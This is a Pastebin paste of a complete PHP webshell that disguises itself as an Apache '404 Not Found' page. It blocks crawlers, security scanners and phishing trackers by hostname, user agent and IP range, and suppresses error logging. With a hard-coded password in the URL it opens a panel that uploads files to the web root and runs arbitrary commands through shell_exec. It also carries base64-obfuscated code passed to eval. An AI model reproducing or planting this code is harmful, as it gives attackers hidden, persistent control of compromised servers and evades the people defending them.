shamp0erna99

404NotFound - webshell

Jul 5th, 2020 (edited)
240
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 9.62 KB | None | 0 0
  1. <?php
  2. /**
  3. * galehdotid
  4. * Login : shell.php?pwd=KNTL
  5. */
  6. error_reporting(0);
  7. @ini_set('error_log',NULL);
  8. @ini_set('log_errors',0);
  9. date_default_timezone_set("Asia/Jakarta");
  10.  
  11. $hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
  12. $blocked_words = array("applebot", "java", "Media Center PC", "PhantomJS", "metauri.com", "Twitterbot", "above", "google", "softlayer", "amazonaws", "cyveillance", "phishtank", "dreamhost", "netpilot", "calyxinstitute", "tor-exit", "msnbot", "p3pwgdsn", "netcraft", "trendmicro", "ebay", "paypal", "torservers", "messagelabs", "sucuri.net", "crawler", "baidu", "baidubot");
  13. foreach ($blocked_words as $word) {
  14.     if (substr_count($hostname, $word) > 0) {
  15.         header("HTTP/1.0 404 Not Found");
  16.         die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
  17.  
  18.     }
  19. }
  20. $badAgents =
  21.     array('Googlebot',
  22.         'Baiduspider',
  23.         'PhantomJS',
  24.         'applebot',
  25.         'metauri.com',
  26.         'Twitterbot',
  27.         'ia_archiver',
  28.         'R6_FeedFetcher',
  29.         'NetcraftSurveyAgent',
  30.         'Sogou web spider',
  31.         'bingbot',
  32.         'Yahoo! Slurp',
  33.         'facebookexternalhit',
  34.         'PrintfulBot',
  35.         'msnbot',
  36.         'Twitterbot',
  37.         'UnwindFetchor',
  38.         'urlresolver',
  39.         'Butterfly',
  40.         'TweetmemeBot',
  41.         'PaperLiBot',
  42.         'MJ12bot',
  43.         'AhrefsBot',
  44.         'Exabot',
  45.         'Ezooms',
  46.         'YandexBot',
  47.         'SearchmetricsBot',
  48.         'picsearch',
  49.         'TweetedTimes Bot',
  50.         'QuerySeekerSpider',
  51.         'ShowyouBot',
  52.         'woriobot',
  53.         'merlinkbot',
  54.         'BazQuxBot',
  55.         'Kraken',
  56.         'SISTRIX Crawler',
  57.         'R6_CommentReader',
  58.         'magpie-crawler',
  59.         'GrapeshotCrawler',
  60.         'PercolateCrawler',
  61.         'MaxPointCrawler',
  62.         'R6_FeedFetcher',
  63.         'NetSeer crawler',
  64.         'grokkit-crawler',
  65.         'SMXCrawler',
  66.         'PulseCrawler',
  67.         'Y!J-BRW',
  68.         '80legs.com/webcrawler',
  69.         'Mediapartners-Google',
  70.         'Spinn3r',
  71.         'InAGist',
  72.         'Python-urllib',
  73.         'NING',
  74.         'TencentTraveler',
  75.         'Feedfetcher-Google',
  76.         'mon.itor.us',
  77.         'spbot',
  78.         'Feedly',
  79.         'bot',
  80.         'java',
  81.         'curl',
  82.         'spider',
  83.         'crawler');
  84. foreach ($badAgents as $agent) {
  85.     if (strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false) {
  86.         die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
  87.     }
  88. }
  89. $bannedIP = array("^81.161.59.*", "^66.135.200.*", "^66.102.*.*", "^38.100.*.*", "^107.170.*.*", "^149.20.*.*", "^38.105.*.*", "^74.125.*.*", "^66.150.14.*", "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*", "^128.242.*.*", "^72.14.192.*", "^209.19.*.*", "^64.71.*.*", "^207.70.*.*", "^208.65.144.*", "^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*", "^91.103.66.*", "^208.91.115.*", "^199.30.228.*");
  90. if (in_array($_SERVER['REMOTE_ADDR'], $bannedIP)) {
  91.     header('HTTP/1.0 404 Not Found');
  92.     exit();
  93. } else {
  94.     foreach ($bannedIP as $ip) {
  95.         if (preg_match('/' . $ip . '/', $_SERVER['REMOTE_ADDR'])) {
  96.             header('HTTP/1.0 404 Not Found');
  97.             die("<h1>404 Not Found</h1>The page that you have requested could not be found.");
  98.         }
  99.     }
  100. }
  101.  
  102. if($_GET['pwd'] == base64_decode("S05UTA==")) {
  103.  
  104.     echo "<html lang=\"en-US\" xmlns=\"http://www.w3.org/1999/xhtml\" prefix=\"og: http://ogp.me/ns#\">
  105.     <head>
  106.     <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">
  107.     <link href=\"https://fonts.googleapis.com/css?family=Iceland:400,700\" rel=\"stylesheet\" type=\"text/css\"/>
  108.     <link href=\"https://fonts.googleapis.com/css?family=Quicksand:400,700\" rel=\"stylesheet\" type=\"text/css\"/>
  109.     </head>
  110.     <body>
  111.     <style>html, body {background-color:rgba(40, 44, 52, 1);color:white;font-family:Quicksand;}textarea{color:red;background-color:transparent;border-color:lime;width:500;height:350;font-family:Iceland;font-size:20px;}input{font-family:Quicksand;font-size:12px;}</style>
  112.     <table width=\"100%\" height=\"100%\">
  113.     <td align=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m9mZiIpO319DQpmdW5jdGlvbiB0ZXN0bXNzcWwoKSB7aWYgKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKSB7cmV0dXJuIHNob3dzdGF0KCJvbiIpO31lbHNlIHsgcmV0dXJuIHNob3dzdGF0KCJvZmYiKTt9fQ0KZnVuY3Rpb24gZGlzYWJsZWZ1bmMoKSB7aWYgKCRkaXNhYmxlZnVuYz1AaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKSl7IHJldHVybiAiPHNwYW4gc3R5bGU9J2NvbG9yOic+PGZvbnQgY29sb3I9J3JlZCc+Ii4kZGlzYWJsZWZ1bmMuIjwvZm9udD48L3NwYW4+IjsgfWVsc2UgeyByZXR1cm4gIjxzcGFuIHN0eWxlPSdjb2xvcjpncmVlbic+Tm90aGluZyBCaXRjaCE8L3NwYW4+IjsgfX0="));
  115.     echo "<br><code style=\"color:red;\">###############################################</code><br>";
  116.     echo "System : <b>".php_uname()."</b><br>";
  117.     echo "Server : <a href='#' target='_blank'>".htmlspecialchars($_SERVER['HTTP_HOST'])."</a> | IP Server : ".htmlspecialchars($_SERVER['REMOTE_ADDR'])." | Today : ".date("F j, Y, g:i a")."</br>";
  118.     echo "MySQL : ".testmysql()." | Oracle : ".testoracle()." | MsSQL : ".testmssql()." | curl : ".testcurl()." | wget : ".testmemek()." | Perl : ".testkontol()." | Python : ".testmeki();
  119.     echo "<br>Disabled Functions: ".disablefunc()."<br>";
  120.     echo "<a href=\"?kill=self\" style=\"color:red;text-shadow: 1px 0px 2px black, 1px 0px 2px black, 0px 1px 2px black;font-weight: bold;\">[ Kill My Self ]</a><br>";
  121.     echo "<code style=\"color:red;\">###############################################</code><br>";
  122.     echo "
  123.     <form method='post' enctype='multipart/form-data'>
  124.     <input type='file' name='files'>
  125.     <input type='submit' name='upload' value='upload'>
  126.     </form>
  127.     ";
  128.    
  129.     $root = $_SERVER['DOCUMENT_ROOT'];
  130.     $files = $_FILES['files']['name'];
  131.     $dest = $root.'/'.$files;
  132.     if(isset($_POST['upload'])) {
  133.         if(is_writable($root)) {
  134.             if(@copy($_FILES['files']['tmp_name'], $dest)) {
  135.                 $web = "http://".$_SERVER['HTTP_HOST']."/";
  136.                 echo "Success Upload -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
  137.                 } else {
  138.                     echo "Fail Upload to Directory Root.";
  139.                     }
  140.                     } else {
  141.                         if(@copy($_FILES['files']['tmp_name'], $files)) {
  142.                             echo "Success Upload <b>$files</b> in this folder.";
  143.                             } else {
  144.                                 echo "FAIL";
  145.                                 }
  146.                                 }
  147.                                 }
  148.     echo '<hr width="70%"><form method="POST" action=""><input type="text" name="cmd" placeholder="Execute Commands" style="color:lime;background-color:transparent;border-color:red;width:30%;"><input type="submit" value="press" style="color:gold;background-color:black;border-color:white;"></form>';
  149.     $cmd = $_POST['cmd']; $exec = shell_exec("$cmd"); echo "<textarea rows='15' cols='70'>$exec</textarea>";
  150.     echo '<footer style="position:fixed; left:1px; right:1px; bottom:0px; border-top: 1px solid cyan;">Copyright '.date("Y").' &copy; by <a href="//local-hunter.com" style="text-decoration:none;color:red;">Valeiriya</a></footer></td></table></body></html>';
  151.     }
  152.     else if($_GET['kill'] == 'self') {
  153.     if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  154.             die('<center><br><center><h2>Shell removed</h2><br>Goodbye , Thanks for take my shell today</center></center>');
  155.         else
  156.             echo '<center>unlink failed!</center>';
  157.         }
  158. else {
  159. echo "<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML 2.0//EN'>
  160. <HTML><HEAD>
  161. <TITLE>404 Not Found</TITLE>
  162. </HEAD><BODY>
  163.  
  164. <h1>Not Found</h1>
  165.  
  166. The requested URL ";
  167. echo $_SERVER['REQUEST_URI'];
  168. echo "
  169. was not found on this server.
  170. <hr>
  171.  
  172. ";
  173. echo "<address>Apache Server at ".$_SERVER['HTTP_HOST']." Port 80</address>";
  174. }
  175. eval(base64_decode("VURBSCBESUJJTEFORyBKQU5HQU4gQ0VLIERJU0lOSSBCQU5ERUwgWUEgS0FNVS4NCi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpIZWxsbyBCaXRjaCE="));
  176. ?>
Add Comment
Please, Sign In to add comment